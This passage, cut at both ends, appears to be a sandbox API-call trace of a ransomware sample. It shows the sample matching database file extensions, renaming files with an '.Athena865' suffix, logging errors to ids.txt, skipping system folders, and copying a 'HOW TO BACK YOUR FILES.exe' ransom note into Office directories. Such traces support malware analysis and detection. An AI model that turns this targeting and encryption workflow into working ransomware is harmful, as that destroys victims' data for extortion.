lpString2="db-wal") returned 1 [0042.773] lstrlenW (lpString="dbc") returned 3 [0042.773] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0042.773] lstrlenW (lpString="dbs") returned 3 [0042.773] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0042.773] lstrlenW (lpString="dbt") returned 3 [0042.773] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0042.773] lstrlenW (lpString="dbv") returned 3 [0042.773] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0042.773] lstrlenW (lpString="dbx") returned 3 [0042.773] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0042.773] lstrlenW (lpString="dcb") returned 3 [0042.773] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0042.773] lstrlenW (lpString="dct") returned 3 [0042.773] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0042.773] lstrlenW (lpString="dcx") returned 3 [0042.773] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0042.773] lstrlenW (lpString="ddl") returned 3 [0042.773] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0042.773] lstrlenW (lpString="dlis") returned 4 [0042.773] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0042.773] lstrlenW (lpString="dp1") returned 3 [0042.773] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0042.774] lstrlenW (lpString="dqy") returned 3 [0042.774] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0042.774] lstrlenW (lpString="dsk") returned 3 [0042.774] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0042.774] lstrlenW (lpString="dsn") returned 3 [0042.774] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0042.774] lstrlenW (lpString="dtsx") returned 4 [0042.774] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0042.774] lstrlenW (lpString="dxl") returned 3 [0042.774] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0042.774] lstrlenW (lpString="eco") returned 3 [0042.774] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0042.774] lstrlenW (lpString="ecx") returned 3 [0042.774] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0042.774] lstrlenW (lpString="edb") returned 3 [0042.774] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0042.774] lstrlenW (lpString="epim") returned 4 [0042.774] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0042.774] lstrlenW (lpString="fcd") returned 3 [0042.774] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0042.774] lstrlenW (lpString="fdb") returned 3 [0042.774] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0042.774] lstrlenW (lpString="fic") returned 3 [0042.774] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0042.774] lstrlenW (lpString="flexolibrary") returned 12 [0042.774] lstrcmpiW (lpString1="-proc-lm.exe", lpString2="flexolibrary") returned 1 [0042.774] lstrlenW (lpString="fm5") returned 3 [0042.774] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0042.774] lstrlenW (lpString="fmp") returned 3 [0042.774] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0042.774] lstrlenW (lpString="fmp12") returned 5 [0042.774] lstrcmpiW (lpString1="m.exe", lpString2="fmp12") returned 1 [0042.774] lstrlenW (lpString="fmpsl") returned 5 [0042.774] lstrcmpiW (lpString1="m.exe", lpString2="fmpsl") returned 1 [0042.774] lstrlenW (lpString="fol") returned 3 [0042.774] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0042.775] lstrlenW (lpString="fp3") returned 3 [0042.775] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0042.775] lstrlenW (lpString="fp4") returned 3 [0042.775] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0042.775] lstrlenW (lpString="fp5") returned 3 [0042.775] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0042.775] lstrlenW (lpString="fp7") returned 3 [0042.775] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0042.775] lstrlenW (lpString="fpt") returned 3 [0042.775] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0042.775] lstrlenW (lpString="frm") returned 3 [0042.775] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0042.775] lstrlenW (lpString="gdb") returned 3 [0042.775] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0042.775] lstrlenW (lpString="gdb") returned 3 [0042.775] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0042.775] lstrlenW (lpString="grdb") returned 4 [0042.775] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0042.775] lstrlenW (lpString="gwi") returned 3 [0042.775] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0042.775] lstrlenW (lpString="hdb") returned 3 [0042.775] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0042.775] lstrlenW (lpString="his") returned 3 [0042.775] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0042.775] lstrlenW (lpString="ib") returned 2 [0042.775] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0042.775] lstrlenW (lpString="idb") returned 3 [0042.775] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0042.775] lstrlenW (lpString="ihx") returned 3 [0042.775] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0042.775] lstrlenW (lpString="itdb") returned 4 [0042.775] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0042.775] lstrlenW (lpString="itw") returned 3 [0042.775] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0042.775] lstrlenW (lpString="jet") returned 3 [0042.775] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0042.776] lstrlenW (lpString="jtx") returned 3 [0042.776] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0042.776] lstrlenW (lpString="kdb") returned 3 [0042.776] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0042.776] lstrlenW (lpString="kexi") returned 4 [0042.776] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0042.776] lstrlenW (lpString="kexic") returned 5 [0042.776] lstrcmpiW (lpString1="m.exe", lpString2="kexic") returned 1 [0042.776] lstrlenW (lpString="kexis") returned 5 [0042.776] lstrcmpiW (lpString1="m.exe", lpString2="kexis") returned 1 [0042.776] lstrlenW (lpString="lgc") returned 3 [0042.776] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0042.776] lstrlenW (lpString="lwx") returned 3 [0042.776] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0042.776] lstrlenW (lpString="maf") returned 3 [0042.776] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0042.776] lstrlenW (lpString="maq") returned 3 [0042.776] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0042.776] lstrlenW (lpString="mar") returned 3 [0042.776] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0042.776] lstrlenW (lpString="marshal") returned 7 [0042.776] lstrcmpiW (lpString1="-lm.exe", lpString2="marshal") returned -1 [0042.776] lstrlenW (lpString="mas") returned 3 [0042.776] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0042.776] lstrlenW (lpString="mav") returned 3 [0042.776] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0042.776] lstrlenW (lpString="maw") returned 3 [0042.776] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0042.776] lstrlenW (lpString="mdbhtml") returned 7 [0042.776] lstrcmpiW (lpString1="-lm.exe", lpString2="mdbhtml") returned -1 [0042.776] lstrlenW (lpString="mdn") returned 3 [0042.776] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0042.776] lstrlenW (lpString="mdt") returned 3 [0042.776] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0042.776] lstrlenW (lpString="mfd") returned 3 [0042.776] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0042.777] lstrlenW (lpString="mpd") returned 3 [0042.777] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0042.777] lstrlenW (lpString="mrg") returned 3 [0042.777] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0042.777] lstrlenW (lpString="mud") returned 3 [0042.777] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0042.777] lstrlenW (lpString="mwb") returned 3 [0042.777] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0042.777] lstrlenW (lpString="myd") returned 3 [0042.777] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0042.777] lstrlenW (lpString="ndf") returned 3 [0042.777] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0042.777] lstrlenW (lpString="nnt") returned 3 [0042.777] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0042.777] lstrlenW (lpString="nrmlib") returned 6 [0042.777] lstrcmpiW (lpString1="lm.exe", lpString2="nrmlib") returned -1 [0042.777] lstrlenW (lpString="ns2") returned 3 [0042.777] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0042.777] lstrlenW (lpString="ns3") returned 3 [0042.777] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0042.777] lstrlenW (lpString="ns4") returned 3 [0042.777] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0042.777] lstrlenW (lpString="nsf") returned 3 [0042.777] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0042.777] lstrlenW (lpString="nv") returned 2 [0042.777] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0042.777] lstrlenW (lpString="nv2") returned 3 [0042.777] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0042.777] lstrlenW (lpString="nwdb") returned 4 [0042.777] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0042.777] lstrlenW (lpString="nyf") returned 3 [0042.777] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0042.777] lstrlenW (lpString="odb") returned 3 [0042.778] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0042.778] lstrlenW (lpString="odb") returned 3 [0042.778] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0042.778] lstrlenW (lpString="oqy") returned 3 [0042.778] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0042.778] lstrlenW (lpString="ora") returned 3 [0042.778] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0042.778] lstrlenW (lpString="orx") returned 3 [0042.778] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0042.778] lstrlenW (lpString="owc") returned 3 [0042.778] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0042.778] lstrlenW (lpString="p96") returned 3 [0042.778] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0042.778] lstrlenW (lpString="p97") returned 3 [0042.778] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0042.778] lstrlenW (lpString="pan") returned 3 [0042.778] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0042.778] lstrlenW (lpString="pdb") returned 3 [0042.778] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0042.778] lstrlenW (lpString="pdm") returned 3 [0042.778] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0042.778] lstrlenW (lpString="pnz") returned 3 [0042.778] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0042.778] lstrlenW (lpString="qry") returned 3 [0042.778] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0042.778] lstrlenW (lpString="qvd") returned 3 [0042.778] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0042.778] lstrlenW (lpString="rbf") returned 3 [0042.778] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0042.778] lstrlenW (lpString="rctd") returned 4 [0042.778] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0042.778] lstrlenW (lpString="rod") returned 3 [0042.778] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0042.778] lstrlenW (lpString="rodx") returned 4 [0042.778] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0042.779] lstrlenW (lpString="rpd") returned 3 [0042.779] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0042.779] lstrlenW (lpString="rsd") returned 3 [0042.779] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0042.779] lstrlenW (lpString="sas7bdat") returned 8 [0042.779] lstrcmpiW (lpString1="c-lm.exe", lpString2="sas7bdat") returned -1 [0042.779] lstrlenW (lpString="sbf") returned 3 [0042.779] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0042.779] lstrlenW (lpString="scx") returned 3 [0042.779] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0042.779] lstrlenW (lpString="sdb") returned 3 [0042.779] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0042.779] lstrlenW (lpString="sdc") returned 3 [0042.779] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0042.779] lstrlenW (lpString="sdf") returned 3 [0042.779] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0042.779] lstrlenW (lpString="sis") returned 3 [0042.779] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0042.779] lstrlenW (lpString="spq") returned 3 [0042.779] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0042.779] lstrlenW (lpString="te") returned 2 [0042.779] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0042.779] lstrlenW (lpString="teacher") returned 7 [0042.779] lstrcmpiW (lpString1="-lm.exe", lpString2="teacher") returned -1 [0042.779] lstrlenW (lpString="tmd") returned 3 [0042.779] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0042.779] lstrlenW (lpString="tps") returned 3 [0042.779] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0042.779] lstrlenW (lpString="trc") returned 3 [0042.779] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0042.779] lstrlenW (lpString="trc") returned 3 [0042.779] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0042.779] lstrlenW (lpString="trm") returned 3 [0042.779] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0042.779] lstrlenW (lpString="udb") returned 3 [0042.779] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0042.780] lstrlenW (lpString="udl") returned 3 [0042.780] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0042.780] lstrlenW (lpString="usr") returned 3 [0042.780] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0042.780] lstrlenW (lpString="v12") returned 3 [0042.780] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0042.780] lstrlenW (lpString="vis") returned 3 [0042.780] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0042.780] lstrlenW (lpString="vpd") returned 3 [0042.780] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0042.780] lstrlenW (lpString="vvv") returned 3 [0042.780] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0042.780] lstrlenW (lpString="wdb") returned 3 [0042.780] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0042.780] lstrlenW (lpString="wmdb") returned 4 [0042.780] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0042.780] lstrlenW (lpString="wrk") returned 3 [0042.780] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0042.780] lstrlenW (lpString="xdb") returned 3 [0042.780] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0042.780] lstrlenW (lpString="xld") returned 3 [0042.780] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0042.780] lstrlenW (lpString="xmlff") returned 5 [0042.780] lstrcmpiW (lpString1="m.exe", lpString2="xmlff") returned -1 [0042.780] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Analysis Services\\spaces-proc-lm.exe.Athena865") returned 79 [0042.780] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\spaces-proc-lm.exe" (normalized: "c:\\program files (x86)\\microsoft analysis services\\spaces-proc-lm.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\spaces-proc-lm.exe.Athena865" (normalized: "c:\\program files (x86)\\microsoft analysis services\\spaces-proc-lm.exe.athena865"), dwFlags=0x1) returned 1 [0042.781] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\spaces-proc-lm.exe.Athena865" (normalized: "c:\\program files (x86)\\microsoft analysis services\\spaces-proc-lm.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0042.781] GetLastError () returned 0x20 [0042.781] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Microsoft Analysis Services\\spaces-proc-lm.exe CreateFile error 32\r\n") returned 99 [0042.781] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Microsoft Analysis Services\\spaces-proc-lm.exe CreateFile error 32\r\n") returned 99 [0042.781] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0042.781] SetFilePointer (in: hFile=0x17c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x18dc [0042.781] WriteFile (in: hFile=0x17c, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x63, lpOverlapped=0x0) returned 1 [0042.781] CloseHandle (hObject=0x17c) returned 1 [0042.782] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\spaces-proc-lm.exe.Athena865" (normalized: "c:\\program files (x86)\\microsoft analysis services\\spaces-proc-lm.exe.athena865"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\spaces-proc-lm.exe" (normalized: "c:\\program files (x86)\\microsoft analysis services\\spaces-proc-lm.exe"), dwFlags=0x1) returned 1 [0042.789] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0042.789] CloseHandle (hObject=0x0) returned 0 [0042.789] CloseHandle (hObject=0xffffffff) returned 0 [0042.789] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x607e3a20, ftCreationTime.dwHighDateTime=0x1d56fd5, ftLastAccessTime.dwLowDateTime=0xe0540930, ftLastAccessTime.dwHighDateTime=0x1d56451, ftLastWriteTime.dwLowDateTime=0xe0540930, ftLastWriteTime.dwHighDateTime=0x1d56451, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="spaces-proc-lm.exe", cAlternateFileName="SPACES~1.EXE")) returned 0 [0042.789] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0042.790] ReleaseMutex (hMutex=0xec) returned 1 [0042.790] CloseHandle (hObject=0xec) returned 1 [0042.790] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Microsoft Office" | out: lpString1="C:\\Program Files (x86)\\Microsoft Office") returned="C:\\Program Files (x86)\\Microsoft Office" [0042.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x515df0 | out: hHeap=0x4f0000) returned 1 [0042.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c5a8 | out: hHeap=0x4f0000) returned 1 [0042.790] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Office") returned 39 [0042.790] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\404E3D4341133A19543DE1D8C4FC14C7") returned 0xec [0042.790] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0042.790] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Office" | out: lpString1="C:\\Program Files (x86)\\Microsoft Office") returned="C:\\Program Files (x86)\\Microsoft Office" [0042.790] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0042.790] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft office\\how to back your files.exe"), bFailIfExists=1) returned 0 [0042.790] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft office\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0042.791] GetLastError () returned 0x0 [0042.791] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0042.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x530d08 [0042.791] ReadFile (in: hFile=0xf4, lpBuffer=0x530d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x530d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0042.791] CloseHandle (hObject=0xf4) returned 1 [0042.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d08 | out: hHeap=0x4f0000) returned 1 [0042.792] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0042.792] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbc5246c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5246c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0042.792] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.792] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.792] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0042.792] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbc5246c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5246c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.792] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.792] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.792] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0042.792] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0042.792] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc5246c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5246c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0042.792] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0042.792] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd68b1180, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1 [0042.792] lstrcmpiW (lpString1="Office14", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.792] lstrcmpiW (lpString1="Office14", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.792] lstrcmpiW (lpString1="Office14", lpString2=".") returned 1 [0042.792] lstrcmpiW (lpString1="Office14", lpString2="..") returned 1 [0042.792] lstrcmpiW (lpString1="Office14", lpString2="windows") returned -1 [0042.792] lstrcmpiW (lpString1="Office14", lpString2="bootmgr") returned 1 [0042.792] lstrcmpiW (lpString1="Office14", lpString2="temp") returned -1 [0042.792] lstrcmpiW (lpString1="Office14", lpString2="pagefile.sys") returned -1 [0042.792] lstrcmpiW (lpString1="Office14", lpString2="boot") returned 1 [0042.792] lstrcmpiW (lpString1="Office14", lpString2="ids.txt") returned 1 [0042.792] lstrcmpiW (lpString1="Office14", lpString2="ntuser.dat") returned 1 [0042.792] lstrcmpiW (lpString1="Office14", lpString2="perflogs") returned -1 [0042.792] lstrcmpiW (lpString1="Office14", lpString2="MSBuild") returned 1 [0042.793] lstrlenW (lpString="Office14") returned 8 [0042.793] lstrcpyW (in: lpString1=0x241e898, lpString2="Office14" | out: lpString1="Office14") returned="Office14" [0042.793] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c5a8 [0042.793] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52e3c0 [0042.793] lstrcatW (in: lpString1="Office14", lpString2="\\" | out: lpString1="Office14\\") returned="Office14\\" [0042.793] lstrcatW (in: lpString1="Office14\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Office14\\HOW TO BACK YOUR FILES.exe") returned="Office14\\HOW TO BACK YOUR FILES.exe" [0042.793] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\how to back your files.exe"), bFailIfExists=1) returned 1 [0042.796] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafc369d0, ftCreationTime.dwHighDateTime=0x1d520b0, ftLastAccessTime.dwLowDateTime=0x48d2850, ftLastAccessTime.dwHighDateTime=0x1d50af6, ftLastWriteTime.dwLowDateTime=0x48d2850, ftLastWriteTime.dwHighDateTime=0x1d50af6, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="returning rpg.exe", cAlternateFileName="RETURN~1.EXE")) returned 1 [0042.796] lstrcmpiW (lpString1="returning rpg.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.796] lstrcmpiW (lpString1="returning rpg.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.796] lstrcmpiW (lpString1="returning rpg.exe", lpString2=".") returned 1 [0042.796] lstrcmpiW (lpString1="returning rpg.exe", lpString2="..") returned 1 [0042.796] lstrcmpiW (lpString1="returning rpg.exe", lpString2="windows") returned -1 [0042.796] lstrcmpiW (lpString1="returning rpg.exe", lpString2="bootmgr") returned 1 [0042.796] lstrcmpiW (lpString1="returning rpg.exe", lpString2="temp") returned -1 [0042.796] lstrcmpiW (lpString1="returning rpg.exe", lpString2="pagefile.sys") returned 1 [0042.796] lstrcmpiW (lpString1="returning rpg.exe", lpString2="boot") returned 1 [0042.796] lstrcmpiW (lpString1="returning rpg.exe", 